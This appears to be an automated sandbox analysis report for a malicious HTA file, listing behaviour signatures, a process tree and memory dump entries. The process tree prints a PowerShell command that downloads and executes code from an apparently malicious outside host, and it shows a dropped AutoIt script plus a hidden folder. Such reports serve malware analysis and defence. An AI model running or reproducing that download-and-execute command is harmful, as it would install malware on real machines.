Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
02/05/2024, 15:38
General
- Target Ac.hta
- Size 2KB
- Sample240502-s22gysca7v
- SHA256 76b4b34a02b2558f6d79df2cdf5a4b7d0dda960bd073e65084c1e61a6c3f092d
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs
Using AutoIT for possible automate script.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ac.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'dogmupdate.com/rdyjyany')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\zkdz\Autoit3.exe"C:\zkdz\Autoit3.exe" script.a3x3⤵
- Executes dropped EXE
- Command and Scripting Interpreter: AutoIT
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/zkdz/3⤵
- Views/modifies file attributes
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_nd5otq02.ej5.ps1
Autoit3.exe
script.a3x
memory/4944-29-0x00000000754F0000-0x0000000075CA0000-memory.dmp
memory/4944-30-0x00000000710E0000-0x0000000071434000-memory.dmp
memory/4944-5-0x0000000005110000-0x0000000005132000-memory.dmp
memory/4944-7-0x0000000005960000-0x00000000059C6000-memory.dmp
memory/4944-6-0x00000000058F0000-0x0000000005956000-memory.dmp
memory/4944-2-0x00000000754F0000-0x0000000075CA0000-memory.dmp
memory/4944-17-0x0000000005AD0000-0x0000000005E24000-memory.dmp
memory/4944-18-0x0000000005FB0000-0x0000000005FCE000-memory.dmp
memory/4944-19-0x0000000005FF0000-0x000000000603C000-memory.dmp
memory/4944-21-0x00000000064E0000-0x00000000064FA000-memory.dmp
memory/4944-20-0x00000000077F0000-0x0000000007E6A000-memory.dmp
memory/4944-22-0x0000000007E70000-0x0000000008032000-memory.dmp
memory/4944-24-0x00000000075E0000-0x0000000007602000-memory.dmp
memory/4944-23-0x0000000007630000-0x00000000076C6000-memory.dmp
memory/4944-25-0x00000000085F0000-0x0000000008B94000-memory.dmp
memory/4944-0-0x00000000754FE000-0x00000000754FF000-memory.dmp
memory/4944-4-0x00000000754F0000-0x0000000075CA0000-memory.dmp
memory/4944-40-0x00000000080E0000-0x00000000080FE000-memory.dmp
memory/4944-28-0x0000000072A40000-0x0000000072A8C000-memory.dmp
memory/4944-27-0x00000000080A0000-0x00000000080D2000-memory.dmp
memory/4944-42-0x00000000754F0000-0x0000000075CA0000-memory.dmp
memory/4944-41-0x0000000008110000-0x00000000081B3000-memory.dmp
memory/4944-43-0x0000000008210000-0x000000000821A000-memory.dmp
memory/4944-44-0x00000000754F0000-0x0000000075CA0000-memory.dmp
memory/4944-45-0x0000000008220000-0x0000000008231000-memory.dmp
memory/4944-47-0x00000000082D0000-0x00000000082DA000-memory.dmp
memory/4944-46-0x00000000082B0000-0x00000000082C2000-memory.dmp
memory/4944-53-0x00000000710E0000-0x0000000071434000-memory.dmp
memory/4944-63-0x0000000008330000-0x000000000833E000-memory.dmp
memory/4944-64-0x0000000008340000-0x0000000008354000-memory.dmp
memory/4944-65-0x0000000008390000-0x00000000083AA000-memory.dmp
memory/4944-66-0x00000000083D0000-0x00000000083D8000-memory.dmp
memory/4944-3-0x0000000005210000-0x0000000005838000-memory.dmp
memory/4944-1-0x00000000026A0000-0x00000000026D6000-memory.dmp
memory/4944-81-0x00000000754F0000-0x0000000075CA0000-memory.dmp